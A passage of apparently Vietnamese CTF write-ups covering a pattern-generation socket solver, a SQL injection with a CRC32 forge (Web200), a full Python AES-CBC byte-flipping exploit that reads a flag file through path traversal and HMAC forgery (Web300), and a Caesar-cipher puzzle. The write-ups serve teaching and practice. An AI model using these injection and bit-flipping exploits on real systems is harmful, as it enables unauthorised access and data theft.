Cơ mà một vấn đề mới lại phát sinh sau khi mình cài đặt thử, đó là đối với charset quá rộng, thì kích thước các pattern hợp lệ là rất lớn, chiếc máy nhỏ xinh của mình bị báo MemoryError ngay sau vài nốt nhạc. Hướng giải quyết là gì?
Là thôi không lập chỉ mục sẵn nữa, nhưng vẫn phải tìm cách để biết được pattern nào đã dùng rồi, pattern nào chưa. Điều này tưởng như đơn giản, nhưng hóa ra lại… đơn giản thật. Đó là với đối tượng
**dictionary **(python), khi ta truy xuất một phần tử không có trong từ điển, exception sẽ nhảy ra (mà chắc ngôn ngữ nào cũng vậy thôi). Như thế, ta sử dụng một dictionary để lưu những pattern đã được dùng, thì khi kiểm tra, nếu có exception, tức là pattern đó chưa có trong từ điển (nghĩa là nó hợp lệ), và ngược lại. Chỉ có vậy thôi
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
|
import socket
import sys
sys.setrecursionlimit(30000)
found = False
flag = ''
def gen_next_string(current_string, length, charset, used_patterns):
global found, flag
if found:
return flag
# progress
sys.stdout.write("current length: %d / %dr" % (len(current_string), length) )
sys.stdout.flush()
for char in charset:
new_string = current_string + char
new_pattern = new_string[-4:]
try:
used_patterns[new_pattern]
except: # if new_pattern has not been used
used_patterns[new_pattern] = 1
if len(new_string) < length:
next_string = gen_next_string(new_string, length, charset,used_patterns)
if (next_string != None):
return next_string
else:
found = True
flag = new_string
del used_patterns[new_pattern]
return None
def create_string(length, charset):
global found, flag
found = False
flag = ''
start_string = charset[0] * 4
used_patterns = {}
used_patterns[start_string] = 1
gen_next_string(start_string, length, charset, used_patterns)
print "n"
HOST = '138.91.39.179'
PORT = 45456
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while True:
found = False
flag = ''
message = s.recv(1024)
message += s.recv(1024)
# print message
try:
charset = str(message.split('Charset: <pre>')[1].split('</pre>')[0])
length = int(message.split('Give me a pattern of size at least ')[1].split(' using the given charset: ')[0])
print 'len(charset):', len(charset), ', length:', length
create_string(length,charset)
# print 'flag:', flag
s.send(flag + "n")
except: # flag
print message
sys.exit(0)
Sau một thời gian chạy khá nhanh (có lâu thì cũng là do đề bài cho charset quá phức tạp và length quá dài thôi, chứ thuật toán thì generate ra flag nhanh lắm
[), ta có cờ:](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/emo_popo_amazed.png)
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
|
len(charset): 2 , length: 16
current length: 15 / 16
len(charset): 3 , length: 81
current length: 80 / 81
len(charset): 6 , length: 1296
current length: 1295 / 1296
len(charset): 8 , length: 2506
current length: 2505 / 2506
len(charset): 26 , length: 2677
current length: 2676 / 2677
len(charset): 52 , length: 3283
current length: 3282 / 3283
len(charset): 98 , length: 4239
current length: 4238 / 4239
len(charset): 103 , length: 4315
current length: 4314 / 4315
len(charset): 179 , length: 6031
current length: 6030 / 6031
len(charset): 117 , length: 5049
current length: 5048 / 5049
len(charset): 107 , length: 4867
current length: 4866 / 4867
len(charset): 157 , length: 5173
current length: 5172 / 5173
len(charset): 164 , length: 6109
current length: 6108 / 6109
len(charset): 106 , length: 4882
current length: 4881 / 4882
len(charset): 174 , length: 5765
current length: 5764 / 5765
len(charset): 102 , length: 4488
current length: 4487 / 4488
len(charset): 156 , length: 5671
current length: 5670 / 5671
len(charset): 119 , length: 4767
current length: 4766 / 4767
len(charset): 111 , length: 4736
current length: 4735 / 4736
Your Flag: SVATTT_US3_PEDA_D0NT_Y0U?
Your Flag:
SVATTT_US3_PEDA_D0NT_Y0U?
#
[[SVATTT CTF 2013] Vết tích tại hiện trường (Web200)](http://ctf.yeuchimse.com/svattt-ctf-2013-vet-tich-tai-hien-truong-web200/)
Anonymous đã upload thành công một script backdoor của bọn chúng lên server ngân hàng Trung Ương với mục đích sẽ quay lại kiếm lợi sau này. Nhưng để truy xuất file, bạn cần phải biết password của chúng đã qui ước với nhau từ trước. Chỉ mất khoảng 10 phút, Chiến đã bypass được. Thế còn các bạn thì sao? :)
Challenge:
[Link]
Hint: hint.txt
Chúng ta có một vùng nhập séc rét, và file hint.txt có nội dung xinh xinh:
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
|
----------------------------snip snip-------------------------------------
$password = $_GET['password'];
$checkcrc = dechex(crc32($password));
if (strpos($password, "Anonymous") === false || $checkcrc !=="deadc0de")
{
echo "<br><font color='red'>"."Bad password"."</font><br>";
die();
}
.......................
$result = $db->query("SELECT * FROM web200 where code='$password'");
----------------------------snip snip-------------------------------------
# Nội dung chính
Ta thấy rằng, yêu cầu của bài này là tìm một password thỏa mãn 2 điều kiện:
- Có chứa
**Anonymous**.
- CRC32(password) =
**deadc0de**.
Sau đó, (có lẽ là) flag sẽ được lấy từ database qua câu query:
|
|
1
|
|
SELECT * FROM web200 where code='$password'
Như vậy, nhiệm vụ của chúng ta, ngoài việc tìm password thỏa mãn 2 điều kiện vừa nói ở trên, còn có thêm một yếu tố nữa, đó là bypass được câu query SQL cuối cùng.
Với 2 nhiệm vụ đầu, công việc khá đơn giản, do giá trị CRC32 có thể được chỉnh sửa tùy ý bằng cách thay đổi 4 byte trong password. Một vài tool trên mạng cho phép chúng ta làm điều này, thay vì tự code, ví dụ như:
Giờ nếu ta tạo password ban đầu là:
Anonymousabcd
và dùng tool trên, kết quả cho ra:
Anonymous[q>_
Đây là một password khá đẹp, nó có chứa
**Anonymous**, và CRC32 của nó đúng bằng **deadc0de**. Tuy nhiên khi submit, ta nhận thông báo sau:
Anonymous: Nice try! But You are doing it wrong :)
Ok, đây là điều chúng ta đã dự đoán từ trước, do vẫn chưa giải quyết được phần SQL.
Tuy vậy, việc inject câu query này xem chừng khá đơn giản, chúng ta sẽ thử với một password khá gia giáo và truyền thống:
Anonymous' OR 1=1--aaaa
Submit sau khi đã đưa nó qua
**forcecrc32.py**, thông báo trả về xấu hơn một chút:
Bad input :)!
Vậy là có dính phải các ký tự bị cấm rồi
Thử thêm chút nữa, ta thấy các ký tự bị cấm dường như là: <space>, <comment> blah blah… tuy nhiên các từ khóa
**and**, **or**, dấu nháy đơn ( **‘**) và dấu chấm phẩy ( **;**) thì không bị. Hơ, thế cũng là đủ rồi
Password cuối cùng mà ta lựa chọn sẽ là:
Anonymous'or'1'='1';aaaa
Makeup một chút với CRC32, ta được password xịn:
Anonymous'or'1'='1';nx9Dxx92
Submit:
Anonymous: Not bad! Here is your flag
SVATTT_crc_0r_n0t_CRC
#
[[WarGameVN CTF] SecretKeeper (Web300)](http://ctf.yeuchimse.com/wargamevn-ctf-secretkeeper-web300/)
Đây là nơi trao đổi bí mật giữa các tên trùm.
Source: ~
Rất cảm ơn BTC vì đã gìn giữ để cái URL nó sống đến tận bây giờ
Đây là một bài mà hồi đó, mình nhìn nó với một sự ngưỡng mộ sâu sắc, và thậm chí, ngay cả khi có một vài member kiệt xuất trong team mình miên man bình luận về nó thì mình vẫn như một thằng lơ ngơ không hiểu gì.
Mình thích cái cảm giác lâu lâu quay lại một bài nào đó, một bài mà trước đây mình không làm được, thậm chí không biết nó hỏi cái gì, nó cần cái gì, rồi sau đó nó hét lên với mình: “Cờ của mày đây!”, cảm giác thật thanh thản và bình yên
Ngày còn bé (cụ thể là cấp 3), mình cực kỳ yếu tích phân, và dù cho đã cố lăn lộn với nó trong suốt 3 năm học, cộng với vài ngày sát kỳ thi ĐH, mình vẫn ra về tay trắng. Mình nhớ như in cái cảm giác đó, cái cảm giác mà mình thực sự đã sinh ra vì một mục đích khác, một mục đích mà không liên quan khỉ gì đến tích phân cả, rằng thì là cả đời này mình cũng vẫn nấp dưới danh nghĩa của một thằng không thể giải được bài tích phân nào trong đề thi ĐH
Ấy thế mà lên ĐH, mình lại bá đạo vô cùng về mấy cái thứ gớm ghiếc này, tất cả thay đổi, cuộc sống thay đổi, lòng người cũng thay đổi. Mình từng ghét Vật Lý, rồi mình yêu Vật Lý, mình từng ghét Console, rồi mình yêu Console, mình từng ghét Tích phân, và rồi mình yêu Tích phân. Lý do cũng chỉ có một, đó là nếu ta yêu một ai đó, ta sẽ… không còn ghét họ nữa (đệch
[). Thôi nói tóm lại, là một khi mình đã thấy mặt lợi ích của cái gì đó mang lại, thì mình sẽ không còn thấy nó vô bổ nữa…](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/after_boom.png)
# Nội dung chính
Ở bài này, chúng ta có một vùng để nhập séc rét, điền thử:
^_^
và nhấn Save, chúng ta có một cái link:
http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50&sign=730646501b5d8c9a234686a9bcc580bb
Khá dài và khá hãi… Xem source thì có được:
|
|
1
2
3
4
|
|
<blockquote class="curly-quotes" cite="./secret/b764b44fd336b8281b62b257501ad3c6">
^_^
</blockquote>
Như đề bài đưa, source nằm ở
**index.phps**, xem nó thôi:
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
|
<?php session_start(); ?>
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>SecretKeeper v1.0</title>
<link rel="stylesheet" href="css/style.css">
<!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
</head>
<body><br /><br /><br />
<div class="mainform">
<h1>SecretKeeper v1.0</h1>
<?php
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
$hex .= (strlen($tmp)==1)?"0".$tmp:$tmp;
}
return $hex;
}
function hexToStr($hex)
{
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2)
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
return $string;
}
//
// encrypt + decrypt AES
//
include("init.php"); // define _KEY,_IV,_SECRET
// flag in ./secret/flag.php
function encrypt_($str){
return strToHex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, _KEY, $str, MCRYPT_MODE_CBC,_IV));
}
function decrypt_($str){
return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, _KEY, hexToStr($str), MCRYPT_MODE_CBC,_IV)," ");
}
function hmac_($msg,$secret){
return hash_hmac('md5',$msg,$secret);
}
if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337){
$secret_hmac = md5(_SECRET.rand(0,1337),true);
$secret_filename = md5(session_id.$secret_hmac);
file_put_contents("./secret/".$secret_filename,$_POST['secret']);
$secret_link = encrypt_($secret_filename."|".$secret_hmac);
echo "<br /><p align='center'><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</p></a>";
}elseif(!empty($_GET['file'])){
$decrypt = explode("|",decrypt_($_GET['file']));
$secret_filename = $decrypt[0];
$secret_hmac = $decrypt[1];
$hmac_ = $_GET['sign'];
$error = false;
if(strlen($secret_hmac) != 16){
echo "HMAC: Bad length! (".strlen($secret_hmac).")<br />";
$error = true;
}
if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
echo "HMAC: Not match!<br />";
$error = true;
}
?>
<section class="notepaper">
<figure class="quote">
<blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>">
<?php
if(!$error)
echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal
else
echo "ERROR!";
?>
</blockquote>
</figure>
</section>
<?php
}else{
?>
<form action="?save" method="POST">
<p><textarea name="secret" rows="10" cols="80" placeholder="Your secret!"></textarea></p>
<p align="center"><input type="submit" name="confirm" value="Save" class="button button-blue"></p>
</form>
<?php
}
?>
</div>
</body>
</html>
Ta sẽ chia code làm 2 phần chính:
**Mã hóa** và **Giải mã**, còn nhiệm vụ của chúng ta là đọc file **./secret/flag.php**.
## Mã hóa
|
|
1
2
3
4
5
6
7
8
|
|
if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337)
{
$secret_hmac = md5(_SECRET.rand(0,1337),true);
$secret_filename = md5(session_id.$secret_hmac);
file_put_contents("./secret/".$secret_filename,$_POST['secret']);
$secret_link = encrypt_($secret_filename."|".$secret_hmac);
echo "<br /><p align='center'><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</p></a>";
}
**$secret_hmac, $secret_filename** được tạo ngẫu nhiên, sau đó ghép vào với ký tự ngăn cách là ‘ **|**‘, cuối cùng mã hóa thành tham số **file **cho url. Tham số còn lại, ** sign**, dùng cho mục đích kiểm tra tính hợp lệ của **$secret_filename**
Nói chung phần này không có gì nhiều, ta kệ nó, cho nó chơi một mình.
## Giải mã
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
|
elseif(!empty($_GET['file']))
{
$decrypt = explode("|",decrypt_($_GET['file']));
$secret_filename = $decrypt[0];
$secret_hmac = $decrypt[1];
$hmac_ = $_GET['sign'];
$error = false;
if(strlen($secret_hmac) != 16){
echo "HMAC: Bad length! (".strlen($secret_hmac).")<br />";
$error = true;
}
if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
echo "HMAC: Not match!<br />";
$error = true;
}
<section class="notepaper">
<figure class="quote">
<blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>">
<?php
if(!$error)
echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal
else
echo "ERROR!";
?>
</blockquote>
</figure>
</section>
<?php
}
Trình tự thực hiện là:
- Giải mã tham số
**file**.
- Chia làm 2 phần, ngăn cách bởi ký tự ‘
**|**‘.
- Phần 1 là
**$secret_filename**, phần 2 là **$secret_hmac**.
- Dùng tham số
**sign**để kiểm tra tính hợp lệ của **$secret_filename**, nếu ok thì in ra nội dung của nó.
Như thế, chúng ta thấy được 2 việc chính cần làm:
- Xác định tham số
**file**để **$secret_filename**trỏ đến file **./secret/flag.php**.
- Xác định tham số
**sign**ứng với tham số **file**để pass bước 4.
## Xác định tham số file
Thuật toán mã hóa được sử dụng là AES 128bit (16 byte cho mỗi block), mode CBC, nên chúng ta có thể nghĩ ngay đến Byte Flipping
Do
**$secret_filename** là MD5, kích thước 32 byte, chúng ta sẽ can thiệp vào block đầu tiên của cipher, để thay đổi block thứ hai của plain text. Nhưng cũng cần lưu ý rằng block đầu của plain text sẽ thành rác, và chúng ta cần chỉnh sửa đường dẫn của file flag cho phù hợp. Ví dụ, ta có một đường dẫn hợp lệ là:
^#%&$%$@@$#%%^$abcde/../flag.php
Bắt đầu từ url nhận được lúc đầu, ta dùng đoạn code sau để thu được tham số
**file **mong muốn:
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
|
def get_filename(file):
url = 'http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s' % (file, 'xxx')
source = get_url_content(url)
filename = source.split('cite="./secret/')[1].split('"')[0]
return filename
# === Byte Flipping 1 ===
target = 'aaaa/../flag.php'
filename = 'b764b44fd336b8281b62b257501ad3c6'
file = 'dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50'.decode('hex')
for pos in range(len(target)):
file = change_byte(file, pos, chr(ord(filename[pos+16]) ^ ord(target[pos]) ^ (ord(file[pos]))))
print 'file:', file.encode('hex')
filename = get_filename(file.encode('hex'))
print 'filename: ', filename
# === Byte Flipping 1 ===
|
|
1
2
|
|
file: 8bfbfa9647289086d3d1704e6f84a594d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50
filename: _:$╓¥ì≤¬²æ╗Uz╦[aaaa/../flag.php
## Xác định tham số sign
Dù rằng
**$secret_filename** xem chừng đã hợp lệ, ta vẫn chưa đọc được nội dung của nó, do bị bước 4 chặn lại. Để ý rằng, **sign **được tính như sau:
|
|
1
|
|
$sign = hmac_($secret_filename,$secret_hmac)
mặt khác, cả
**$secret_filename **và **$secret_hmac **đều là các thành phần trong tham số **file**, được ngăn cách bởi ký tự ‘ **|**‘, nhưng task chỉ hiển thị **$secret_filename** cho ta thấy.
Để có
**$secret_hmac**, điều duy nhất mà ta làm được, đó là Flipping thêm một Byte nữa, mục đích là thay đổi ký tự ‘ **|**‘ thành ký tự khác, khi đó câu lệnh:
|
|
1
2
|
|
$decrypt = explode("|",decrypt_($_GET['file']));
$secret_filename = $decrypt[0];
sẽ trả về
**$secret_filename** chứa cả **$secret_hmac **(do không còn ký tự ngăn cách), và bằng cách lấy 16 ký tự cuối, ta có thứ mình cần
Ta biết rằng ký tự ‘
**|**‘ sẽ ở block 3 ( **$secret_filename **là MD5, kích thước 32 byte = 2 block), nên để thay đổi nó, ta sẽ can thiệp vào block 2 của cipher, mà cụ thể là byte thứ 17. Tất nhiên điều này sẽ làm hỏng **$secret_filename**, nhưng hiện tại nó không còn quan trọng nữa.
|
|
1
2
3
4
|
|
file = change_byte(file, 16, '1')
filename = get_filename(file.encode('hex'))
secret_hmac = filename[-16:]
print 'secret_hmac:', secret_hmac.encode('hex')
|
|
1
|
|
secret_hmac: 271876ad58fdba9d870d1c6ad3f6f94c
Giờ thì chúng ta đã có thể thoải mái tính
**sign**, like a boss [:](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/adore.png)
|
|
1
2
|
|
sign = hmac.new(secret_hmac, secret_filename, hashlib.md5).hexdigest();
print 'sign:', sign
|
|
1
|
|
sign: 68b3b5f8599fb8939ce1b5b9cb7ce46a
# Tổng kết
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
|
import urllib, urllib2
import hmac,hashlib
def get_url_content(url):
req = urllib2.Request(url)
source = urllib2.urlopen(req).read()
return source
def change_byte(string, pos, new_byte):
new_str = ''
for i in range(len(string)):
if i != pos:
new_str += string[i]
else:
new_str += new_byte
return new_str
def get_filename(file):
url = 'http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s' % (file, 'xxx')
source = get_url_content(url)
filename = source.split('cite="./secret/')[1].split('"')[0]
return filename
# === Byte Flipping 1 ===
target = 'aaaa/../flag.php'
filename = 'b764b44fd336b8281b62b257501ad3c6'
file = 'dbf8adc50a348b9e808d204825c7aed2d4430f900ed7b96daec2a3c1d6665a2792cdb3104d2666e64e069d87cd286765d29b0c16ca1ab2d26249735974d6fb50'.decode('hex')
for pos in range(len(target)):
file = change_byte(file, pos, chr(ord(filename[pos+16]) ^ ord(target[pos]) ^ (ord(file[pos]))))
print 'file:', file.encode('hex')
filename = get_filename(file.encode('hex'))
final_file = file.encode('hex')
secret_filename = filename
print 'filename: ', filename
# === Byte Flipping 1 ===
# === Byte Flipping 2 ===
file = change_byte(file, 16, '1')
filename = get_filename(file.encode('hex'))
secret_hmac = filename[-16:]
print 'secret_hmac:', secret_hmac.encode('hex')
sign = hmac.new(secret_hmac, secret_filename, hashlib.md5).hexdigest();
print 'sign:', sign
# === Byte Flipping 2 ===
# === Get Flag ===
url = 'http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=%s&sign=%s' % (final_file, sign)
print 'source:', get_url_content(url).split('<blockquote')[1].split('</blockquote>')[0]
# === Get Flag ===
Flag =
mario_CBCm0d3_is_swag_huh_;) **Ghi chú**: Chúng ta cần để ý giá trị trả về của mỗi bước Byte Flipping, tránh để xuất hiện ‘|’, do điều này sẽ dẫn đến **secret_hmac** thu được bị sai.
#
[[WhiteHat CTF 2013] I love Sherlock Holmes](http://ctf.yeuchimse.com/whitehat-ctf-2013-sherlock-holmes/)
Mình không có ý định sẽ writeup cho giải lần này, do không biết là có được phép public đề bài hay không. Tuy nhiên do có một số bạn quan tâm và muốn làm quen với CTF, mình xin phép dùng bài này để minh họa, do nó tương đối cơ bản và dễ tiếp cận.
**Ghi chú**: Toàn bộ nội dung được ghi theo cách hiểu của mình, và mình cũng chỉ là người mới của lĩnh vực này, nếu có gì chưa phù hợp, các bạn cứ báo lại và mình sẽ chỉnh sửa ngay.
# CTF là gì?
CTF là viết tắt của Capture The Flag, và bằng vốn tiếng Anh kinh dị của mình thì nó có nghĩa kiểu kiểu như là Lấy cờ, Tìm cờ (giống trò chơi hồi bé, nhắm mắt đếm 5, 10, 15, 20, 25…, cho đến 100 thì bắt đầu đi kiếm mấy đứa đang ẩn nấp khắp mọi nơi ấy). Cờ ở đây thường là một đoạn văn bản, mà có thể được kiểm tra tự động. Ví dụ:
**DayLaCo** **yeuchimse_hinh_nhu_rat_dang_yeu** **c41_n4y_cung_g01_l4_c0**
Tức là, nếu quy ra cuộc sống tự nhiên, CTF tương tự như việc chúng ta được thả vào một căn phòng, và nhận yêu cầu: “Hãy tìm cho tôi một cái gì đó”. Cái gì đó ở đây (tức cờ), có thể được quy định sẵn về hình dáng của nó (như
**flag{abcdef}**, **ctf_this_is_flag** chẳng hạn), hoặc không có thông tin gì kèm theo, khi đó chúng ta sẽ phải dựa theo cảm giác, rằng khi thấy một cái gì đó lạ lạ, thì nó rất có thể là cờ.
CTF có 2 dạng chính, là
**Jeopardy**, và **Attack-Defense**, mình chỉ tham gia ở dạng đầu tiên. Jeopardy là hình thức chơi mà mỗi cuộc thi sẽ bao gồm các bài nhỏ, mỗi bài nhỏ lại có chứa một cờ để cho ta tìm. Khi tìm được cờ, chúng ta sẽ nhận được số điểm tương ứng. Các bài được đặt trong khá nhiều thể loại chuyên môn khác nhau, nhưng thường thì là:
- Reverse: Dịch ngược phần mềm
- Web: Bảo mật web
- Crypto: Mật mã, mã hóa
- Forensic: Điều tra số
- Stegano: Ẩn giấu thông tin
- Exploit: Khai thác lỗi
Cụ thể với WhiteHat CTF 2013, cuộc thi chia ra các mảng là Web, Crypto, Reverse, Forensic và Exploit. Mình sẽ minh họa với bài
**I love Sherlock Holmes**, thuộc mảng Crypto.
# Nội dung chính
Đề bài, chúng ta được cung cấp 1 file hình như sau:
Không có gì khác, tất cả chỉ vậy thôi, cũng không nói rằng chúng ta phải làm gì.
Đó chính là điều các bạn cần lưu ý, vì trừ trường hợp đặc biệt, còn lại thì chúng ta hiển nhiên cần hiểu rằng mọi bài sẽ có một đòi hỏi duy nhất, đó là tìm ra cờ, và submit kiếm điểm. Thay vì viết là: “Tìm x sao cho: x + 1 = 2”, chúng ta chỉ cần một cái đề: “x + 1 = 2” cũng đã coi như quá đủ!
Trở lại với công việc, nếu bạn đã từng đọc Holmes (mình thì khỏi nói, mình vô cùng cuồng Holmes và mỗi ngày hầu như đều đọc đi đọc lại mấy mẩu chuyện đã thuộc nằm lòng), thì bạn sẽ nhận ra ngay đây là phương pháp mã hóa xuất hiện trong vụ án “Những hình nhân nhảy múa”, tiếng Anh là Dancing Man. Ở vụ án này, Holmes dựa theo tần suất xuất hiện của từng chữ cái để dần dần suy ra bảng mã tham chiếu hoàn chỉnh. Chúng ta may mắn hơn Holmes, vì chúng ta có Google. Google biết mọi thứ, đó chính là niềm tin của mình
Search một lúc, ta có bảng mã cho Dancing Man như sau:
Đơn giản là đối chiếu đề bài với bảng mã tìm được, chúng ta có dãy ký tự:
RHNTKXTMTEXGMXWWXVMBOX
Nó có phải là cờ không?
Tất nhiên là bạn có quyền thắc mắc như vậy, dù rằng thông thường cờ sẽ không vô nghĩa và xấu xí đến thế
Khỏi cần thắc mắc dài dòng làm gì, submit thử thì biết chứ có gì đâu.
**Wrong!**
Đổi sang chữ thường và submit lại.
**Wrong!** [ Đây có lẽ chính là điểm dừng của một số đội chơi khác, vì một lý do quá kinh khủng: không biết phải làm gì nữa ](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/emo_popo_pudency.png) ![ emo_popo_beat_plaster](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/emo_popo_beat_plaster.png)
![ emo_popo_beat_plaster](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/emo_popo_beat_plaster.png)
## RHNTKXTMTEXGMXWWXVMBOX
Sau khi rà soát lại để chắc chắn rằng không đối chiếu nhầm ở đâu đó, chúng ta sẽ quên hết mọi thứ trong quá khứ, và coi như đề bài chỉ bắt đầu từ cái dòng ký tự xấu xí này mà thôi.
Có khá nhiều hướng khi giải quyết một bài crypto, như XOR các byte với một giá trị x nào đó, cộng thêm một giá trị y nào đó vào từng ký tự, xoay vòng các ký tự theo độ lệch z (cũng nào đó), hoặc phổ biến không kém, đó là hoán vị các ký tự (A thành S, B thành E, C thành X…), và nhiều rất nhiều thuật toán từ cơ bản đến nâng cao khác.
Hướng XOR ít khả thi, do chuỗi ta đang có rất đẹp (đẹp ở đây tức nó đều bao gồm các ký tự chữ cái), mà XOR thì không có đặc tính giữ lại độ đẹp của mật mã sau khi được giải mã (dù rằng một vài giá trị khi dùng làm khóa cũng mang lại điều này). Tuy nhiên, chúng ta vẫn sẽ giữ lại nó trong đầu như một phương án dự phòng.
Cộng thêm giá trị vào các byte, đây là một hướng tốt, có thể thử. Nhưng do mật mã có cả X và B, nên cộng thì cũng dở mà trừ thì cũng dở (vì chắc là nó vượt ra ngoài 2 biên của bảng chữ cái), xếp nó sau XOR theo độ ưu tiên vậy.
Xoay vòng các ký tự (còn gọi là Caesar): Hướng này vô cùng khả thi, do là xoay vòng, nên X + 3 = Z + 1 sẽ quay về A, nên đảm bảo rằng kết quả mã hóa cũng đẹp y như mật mã vậy. Hãy quan tâm đến nó một chút.
Hoán vị các ký tự, hướng này có thể loại ngay, do mật mã quá ngắn, không đủ cơ sở để suy luận.
# Caesar
Vấn đề tiếp theo cần đối mặt, đó là nếu chọn Caesar, thì xoay với độ lệch bao nhiêu? Phổ biến thì chúng ta biết đến
[Rot13 ](http://en.wikipedia.org/wiki/ROT13)(A sẽ chuyển thành N, B sẽ chuyển thành O, C sẽ chuyển thành P, và ở chiều ngược lại, N sẽ chuyển thành A, O sẽ chuyển thành B, P sẽ chuyển thành C).
Với bài này, Rot13 cho ra kết quả không đẹp:
Rot13(RHNTKXTMTEXGMXWWXVMBOX) = EUAGXKGZGRKTZKJJKIZOBK
Rot1: SIOULYUNUFYHNYXXYWNCPY Rot2: TJPVMZVOVGZIOZYYZXODQZ Rot3: UKQWNAWPWHAJPAZZAYPERA Rot4: VLRXOBXQXIBKQBAABZQFSB Rot5: WMSYPCYRYJCLRCBBCARGTC Rot6: XNTZQDZSZKDMSDCCDBSHUD Rot7: YOUAREATALENTEDDECTIVE Rot8: ZPVBSFBUBMFOUFEEFDUJWF Rot9: AQWCTGCVCNGPVGFFGEVKXG Rot10: BRXDUHDWDOHQWHGGHFWLYH Rot11: CSYEVIEXEPIRXIHHIGXMZI Rot12: DTZFWJFYFQJSYJIIJHYNAJ Rot13: EUAGXKGZGRKTZKJJKIZOBK Rot14: FVBHYLHAHSLUALKKLJAPCL Rot15: GWCIZMIBITMVBMLLMKBQDM Rot16: HXDJANJCJUNWCNMMNLCREN Rot17: IYEKBOKDKVOXDONNOMDSFO Rot18: JZFLCPLELWPYEPOOPNETGP Rot19: KAGMDQMFMXQZFQPPQOFUHQ Rot20: LBHNERNGNYRAGRQQRPGVIR Rot21: MCIOFSOHOZSBHSRRSQHWJS Rot22: NDJPGTPIPATCITSSTRIXKT Rot23: OEKQHUQJQBUDJUTTUSJYLU Rot24: PFLRIVRKRCVEKVUUVTKZMV Rot25: QGMSJWSLSDWFLWVVWULANW
Nếu tiếng Anh của bạn cũng siêu đẳng như tiếng Anh của mình, bạn sẽ thấy ngay Rot7 là cái mà ta đang tìm, kết quả thu được thực sự quá đẹp:
YOUAREATALENTEDDECTIVE
Nó đẹp đến nỗi mà nó đã có thể là cờ rồi, mình đặt niềm tin với tỉ lệ đặt 6 ăn 9
#### Wrong!
#### Wrong!
#### Wrong!
À hông có sao, còn chữ thường, vẫn còn chữ thường nữa mà
youareatalenteddective
### Correct :)
# Tổng kết
